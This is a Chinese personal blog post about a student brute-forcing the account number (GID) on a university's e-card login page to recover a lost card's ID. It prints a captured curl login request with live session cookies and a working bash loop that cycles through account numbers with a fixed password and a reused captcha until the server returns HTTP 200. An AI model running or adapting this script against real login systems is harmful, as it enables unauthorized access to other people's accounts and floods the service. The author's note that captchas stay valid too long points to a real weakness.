找出我的GID

好记性不如烂笔头。记录一下生活的一些小事。
背景:刚办的一卡通热乎还没几天,就不知道掉哪了。最主要的是想挂失,卡上的GID也不记得。天真的以为GID是按办卡顺序发给我们的,问了几个一起办卡的同学他们的GID,一看心哇哇凉:只有前五位是一样的,后五位是随机的。看了看学校的系统,居然是明文传输,心想自己还记得密码,暴力破解一下?
问了Web方面的大神,告诉我可以用bash编个脚本试试。当时初步想想,觉得有好多坑:1.bash语法坑。2.curl参数坑。3.验证码随时过期的坑。
当时的一个反应是,验证码怎么办?大神说他专门做过一个研究,很多服务器的验证码都有一定的时效性,输对一次可以用很久。经过验证,在这个站点中这是正确的。

大神告诉了一个简单的curl的bash脚本生成方法:进入Chrome,Network,点击Preserve log,删除已有log。登录页面正常登录,提示密码错误(其实是用户名错误)。这时,log中就有了刚才我们登录产生的请求。右键点击请求,选择copy as curl(bash),我们就得到了能在bash中执行的curl语句。


curl 'http://ecard.ustc.edu.cn/smart_web_zkd/ajax/login/index' -H 'Cookie: JSESSIONID=08307E3C85ABAC738EE4FA079B8F46D6; _ga=GA1.3.2009371183.1473599450; _gscu_1103646635=74278296qcjgnq18' -H 'Origin: http://ecard.ustc.edu.cn' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: zh-CN,zh;q=0.8' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36' -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIx2MrGoVKKAcJ94s' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Cache-Control: max-age=0' -H 'Referer: http://ecard.ustc.edu.cn/smart_web_zkd/login.jsp' -H 'Proxy-Connection: keep-alive' --data-binary $'------WebKitFormBoundaryIx2MrGoVKKAcJ94s\r\nContent-Disposition: form-data; name="str_accountNo"\r\n\r\n3201401000\r\n------WebKitFormBoundaryIx2MrGoVKKAcJ94s\r\nContent-Disposition: form-data; name="str_password"\r\n\r\n000000\r\n------WebKitFormBoundaryIx2MrGoVKKAcJ94s\r\nContent-Disposition: form-data; name="checkcode"\r\n\r\nnv6b\r\n------WebKitFormBoundaryIx2MrGoVKKAcJ94s--\r\n' --compressed


这个表单的POST都是明文的啊!
有了这个模拟POST请求,我们就可以在bash中写一个脚本来暴力获取我的GID啦。
由于第一次写bash脚本,脚本的语法各种不习惯,需要特别注意的是for语句、if语句的语法以及它们的“空格”。比如[[ $OUT -eq 200 ]],若写成[[$OUT -eq 200]],将会直接报错:[[302: command not found。字符串的拼接:$'...'${GID}$'...'。我在这里都花了好几分钟才明白错在了哪里。
算法很简单,死循环遍历GID,检查http返回状态为200时,应该就是成功登录了。怎么获取返回状态呢?
bash语法中可以用$(.语句.)方法把语句的执行结果赋给一个变量,这样,我们就可以开始写脚本了。
调试过程中,出现了Syntax error: Bad for loop variable。一番查找之后,知道了这是bash shell和dash shell的区别,sh和bash对for中(())语法支持不一。在脚本开头加上"#!/bin/bash"后,脚本运行正常了。


bash脚本如下:
#!/bin/bash
GID=3201401000
for((;;GID++))
do
    OUT=$(curl -o /dev/null -s -w %{http_code}  'http://ecard.ustc.edu.cn/smart_web_zkd/ajax/login/index' -H 'Cookie: JSESSIONID=809E363DFEDCC9792AB8361F09377E7B; _ga=GA1.3.2009371183.1473599450; _gscu_1103646635=74278296qcjgnq18' -H 'Origin: http://ecard.ustc.edu.cn' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: zh-CN,zh;q=0.8' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36' -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIx2MrGoVKKAcJ94s' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Cache-Control: max-age=0' -H 'Referer: http://ecard.ustc.edu.cn/smart_web_zkd/login.jsp' -H 'Proxy-Connection: keep-alive' --data-binary $'------WebKitFormBoundaryIx2MrGoVKKAcJ94s\r\nContent-Disposition: form-data; name="str_accountNo"\r\n\r\n'${GID}$'\r\n------WebKitFormBoundaryIx2MrGoVKKAcJ94s\r\nContent-Disposition: form-data; name="str_password"\r\n\r\n999999\r\n------WebKitFormBoundaryIx2MrGoVKKAcJ94s\r\nContent-Disposition: form-data; name="checkcode"\r\n\r\ncxd2\r\n------WebKitFormBoundaryIx2MrGoVKKAcJ94s--\r\n' --compressed)
echo $GID
echo $OUT
if [[ $OUT -eq 200 ]]; then
break
fi
#sleep 5s
done
echo $GID




对了,curl还有很多参数。curl --help都能查到
比如-o 输出信息到某个文件。脚本中用了/dev/null,似乎是丢弃了这个信息。
-s 不产生某些加载信息
-w 结果输出某些东西,比如脚本中${http_code}是一个响应的状态。
--trace-ascii /dev/stdout 显示你发送的具体状态、信息


转载一篇与验证码有关的博文:
再论验证码安全:请及时销毁你的验证码:http://blog.csdn.net/studyzy/article/details/11524369
http://www.cnblogs.com/wang7/articles/2737209.html
PS,其实,使用fiddler模拟发包,也可以达到相同的效果。就是不知道能不能编写成脚本呢?
作为一个初学者,收获还是很多的!

                
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值